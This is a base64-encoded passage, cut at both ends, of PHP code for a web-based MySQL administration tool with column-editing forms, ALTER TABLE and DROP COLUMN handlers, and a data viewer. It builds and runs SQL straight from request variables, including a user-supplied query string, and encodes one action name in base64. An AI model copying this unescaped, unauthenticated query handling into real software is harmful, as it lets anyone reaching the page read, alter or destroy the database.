bj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjwv
dHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7
IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4K
PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8
dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlw
ZSA9PSAiZG91YmxlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxp
Z249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5w
dXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAi
ZGVjaW1hbCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0
ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRk
PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09
ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0x
Mi0zMSwgWVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48
aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUg
PT0gImRhdGV0aW1lIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0w
MSAwMDowMDowMCB+IDk5OTktMTItMzEgMjM6NTk6NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFt
ZT10eXBlIHZhbHVlPSJUSU1FU1RBTVAiICc7IGlmKCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVj
aG8gImNoZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAgKDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2
Li4uLCBZWVlZTU1ERFtISFtNTVtTU11dXSk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3Rk
Pgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUi
ICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgz
ODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90
cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBp
ZiggJHR5cGUgPT0gInllYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAy
MTU1LCAwMDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxp
bnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJj
aGFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5DSEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5P
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10
eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hl
Y2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88
L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJ
TllURVhUIiAnOyBpZiggJHR5cGUgPT0gInRpbnl0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8g
Jz5USU5ZVEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0
ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9
PSAidGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0
ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+
Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlw
ZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8g
ImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl
PSJMT05HVEVYVCIgJzsgaWYoICR0eXBlID09ICJsb25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtl
Y2hvICc+TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjwv
dHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0Ii
ICc7IGlmKCAkdHlwZSA9PSAidGlueWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllC
TE9CICgwIH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJz
cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1
dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9i
IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl
PSJNRURJVU1CTE9CIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tl
ZCI7ZWNobyAnPk1FRElVTUJMT0IgKDAgfiAxNjc3NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3Rk
Pgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdC
TE9CIiAnOyBpZiggJHR5cGUgPT0gImxvbmdibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5M
T05HQkxPQiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy
Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5
cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPgo8dGQgY29sc3Bh
bj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1
dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU0VUIiAnOyBpZiggJHR5cGUgPT0gInNldCIg
KSBlY2hvICJjaGVja2VkIjtlY2hvICc+U0VUPC90ZD4KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZh
bHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgoKPC90YWJsZT4KPHRhYmxlPgo8dHI+PHRoPk08
L3RoPjx0aD5EPC90aD48dGg+dW5zaWduZWQ8L3RoPjx0aD56ZXJvZmlsbDwvdGg+PHRoPmJpbmFy
eTwvdGg+PHRoPnZhbHVlIGxpc3QgKGV4OiBcJ2FwcGxlXCcsIFwnb3JhbmdlXCcsIFwnYmFuYW5h
XCcpIDwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6
ZT00IG5hbWU9TSAnOyBpZiggJE0gIT0gIiIgKSBlY2hvICJ2YWx1ZT0kTSI7ZWNobyAnPjwvdGQ+
Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1EICc7IGlmKCAk
RCAhPSAiIiApIGVjaG8gInZhbHVlPSREIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48
aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYo
IHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAn
PjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT16ZXJvZmls
bCB2YWx1ZT0iWkVST0ZJTEwiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJ6ZXJvZmlsbCIg
KSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0
eXBlPWNoZWNrYm94IG5hbWU9YmluYXJ5IHZhbHVlPSJCSU5BUlkiICc7IGlmKCBzdHJwb3MoICRm
aWVsZHR5cGUsICJiaW5hcnkiICkgICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBh
bGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlm
KCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48
L3RkPgo8L3RyPgo8L3RhYmxlPgoKCjxoMz5GbGFnczwvaDM+Cjx0YWJsZT4KPHRyPjx0aD5ub3Qg
bnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRo
PnByaW1hcnkga2V5PC90aD48L3RyPgo8dHI+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9
Y2hlY2tib3ggbmFtZT1ub3RfbnVsbCB2YWx1ZT0iTk9UIE5VTEwiICc7IGlmKCAkZmllbGRudWxs
ICE9ICJZRVMiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+
PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQg
IT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4KPHRkIGFsaWdu
PWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWF1dG9faW5jcmVtZW50IHZhbHVlPSJB
VVRPX0lOQ1JFTUVOVCIgJzsgaWYoICRmaWVsZGV4dHJhID09ICJhdXRvX2luY3JlbWVudCIgKSBl
Y2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1j
aGVja2JveCBuYW1lPXByaW1hcnlfa2V5IHZhbHVlPSJQUklNQVJZIEtFWSIgJzsgaWYoICRmaWVs
ZGtleSA9PSAiUFJJIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8L3RyPgo8L3RhYmxl
PgoKPHA+JzsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0
IHZhbHVlPSdBZGQgRmllbGQnPlxuIjsKCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkKCQllY2hv
ICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0VkaXQgRmllbGQnPlxuIjsKCWVjaG8gIjxpbnB1
dCB0eXBlPWJ1dHRvbiB2YWx1ZT1DYW5jZWwgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsK
CWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCAp
IHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRvbGRfbmFtZSwg
JG5hbWUsICR0eXBlLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZywKCQkkTSwgJEQsICR1
bnNpZ25lZCwgJHplcm9maWxsLCAkYmluYXJ5LCAkbm90X251bGwsICRkZWZhdWx0X3ZhbHVlLCAk
YXV0b19pbmNyZW1lbnQsICRwcmltYXJ5X2tleSwgJHZhbHVlbGlzdDsKCglpZiggJGNtZCA9PSAi
YWRkIiApCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7
CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0
YWJsZW5hbWUgQ0hBTkdFICRvbGRfbmFtZSAkbmFtZSAiOwoKCWlmKCAkTSAhPSAiIiApCgkJaWYo
ICREICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIkdHlwZSgkTSwkRCkgIjsKCQllbHNlCgkJCSRx
dWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7CgllbHNlIGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgewoJ
CSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNoZXMoICR2YWx1ZWxpc3QgKTsKCQkkcXVlcnlTdHIgLj0g
IiR0eXBlKCR2YWx1ZWxpc3QpICI7Cgl9IGVsc2UKCQkkcXVlcnlTdHIgLj0gIiR0eXBlICI7CgoJ
JHF1ZXJ5U3RyIC49ICIkdW5zaWduZWQgJHplcm9maWxsICRiaW5hcnkgIjsKCglpZiggJGRlZmF1
bHRfdmFsdWUgIT0gIiIgKQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUn
ICI7CgoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9z
ZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0
ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hh
bmdlCgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtF
WVMgRlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1hcnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlz
cWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlmKCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklN
QVJZIiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25hbWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFu
Z2UgPSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFyeSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7
CgkJfQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJTUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49
ICIsICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1
YnN0ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAi
QUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBSSU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSgg
JHEgKTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4i
IC4gbXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklN
QVJZIEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxfcXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49
ICI8YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9
CgoJdmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBkcm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3Fs
SGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVy
eVN0ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9Q
IENPTFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFu
ZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNn
ID0gbXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1hKCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAk
cXVlcnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFi
bGVuYW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRwYWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7
CgoJZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gxPlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIi
ICkKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5c
biI7CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1
ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIg
KSB7CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRl
cmJ5ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgT1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8g
IjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5h
bWU9JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwgXG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBf
U0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFt
ZSc+U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1l
LCAkcXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNxbF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7Cgkk
dGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkk
R0xPQkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkg
ewoJCWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVybjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkg
ewoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNob1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJ
fQoKCWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJ
JGNvbCA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsK
CQllY2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0dXJuOwoJfQoKCWlmKCAkcm93cGVycGFnZSA9
PSAiIiApICRyb3dwZXJwYWdlID0gMzA7CglpZiggJHBhZ2UgPT0gIiIgKSAkcGFnZSA9IDA7Cgll
bHNlICRwYWdlLS07CglteXNxbF9kYXRhX3NlZWsoICRwUmVzdWx0LCAkcGFnZSAqICRyb3dwZXJw
YWdlICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7Cgll
Y2hvICI8dHI+XG4iOwoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkkZmllbGQg
PSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7CgkJZWNobyAiPHRoPiI7CgkJaWYo
JGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2Fj
dGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmb3Jk
ZXJieT0iLiRmaWVsZC0+bmFtZS4iJz4iLiRmaWVsZC0+bmFtZS4iPC9hPlxuIjsKCQllbHNlCgkJ
CWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7CgkJZWNobyAiPC90aD5cbiI7Cgl9CgllY2hvICI8dGgg
Y29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOwoJZWNobyAiPC90cj5cbiI7CgoJZm9yKCAkaSA9IDA7
ICRpIDwgJHJvd3BlcnBhZ2U7ICRpKysgKSB7CgkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93
KCAkcFJlc3VsdCApOwoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsKCQllY2hvICI8
dHI+XG4iOwoJCSRrZXkgPSAiIjsKCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgewoJ
CQkkZGF0YSA9ICRyb3dBcnJheVskal07CgoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCgg
JHBSZXN1bHQsICRqICk7CgkJCWlmKCAkZmllbGQtPnByaW1hcnlfa2V5ID09IDEgKQoJCQkJJGtl
eSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsKCgkJCWlmKCBzdHJsZW4oICRk
YXRhICkgPiAzMCApCgkJCQkkZGF0YSA9IHN1YnN0ciggJGRhdGEsIDAsIDMwICkgLiAiLi4uIjsK
CQkJJGRhdGEgPSBodG1sc3BlY2lhbGNoYXJzKCAkZGF0YSApOwoJCQllY2hvICI8dGQ+XG4iOwoJ
CQllY2hvICIkZGF0YVxuIjsKCQkJZWNobyAiPC90ZD5cbiI7CgkJfQoKCQlpZiggJGtleSA9PSAi
IiApCgkJCWVjaG8gIjx0ZCBjb2xzcGFuPTI+bm8gS2V5PC90ZD5cbiI7CgkJZWxzZSB7CgkJCWVj
aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRi
bmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsKCQkJZWNobyAiPHRk
PjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZGVsZXRlRGF0YSRrZXkmZGJuYW1lPSRkYm5hbWUm
dGFibGVuYW1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIFJv
dz8nKVwiPkRlbGV0ZTwvYT48L3RkPlxuIjsKCQl9CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hv
ICI8L3RhYmxlPlxuIjsKCgllY2hvICI8Zm9udCBzaXplPTI+XG4iOwoJaWYoJGFjdGlvbiA9PSAi
ZG1sbGQwUmhkR0U9IikKCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1s
bGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9z
dD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5
JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0cicg
bWV0aG9kPXBvc3Q+XG4iOwoKCWVjaG8gKCRwYWdlKzEpLiIvIi4oaW50KSgkcm93LyRyb3dwZXJw
YWdlKzEpLiIgcGFnZSI7CgllY2hvICI8L2ZvbnQ+XG4iOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFn
ZSA+IDAgKSB7CgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiPGEgaHJl
Zj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1l
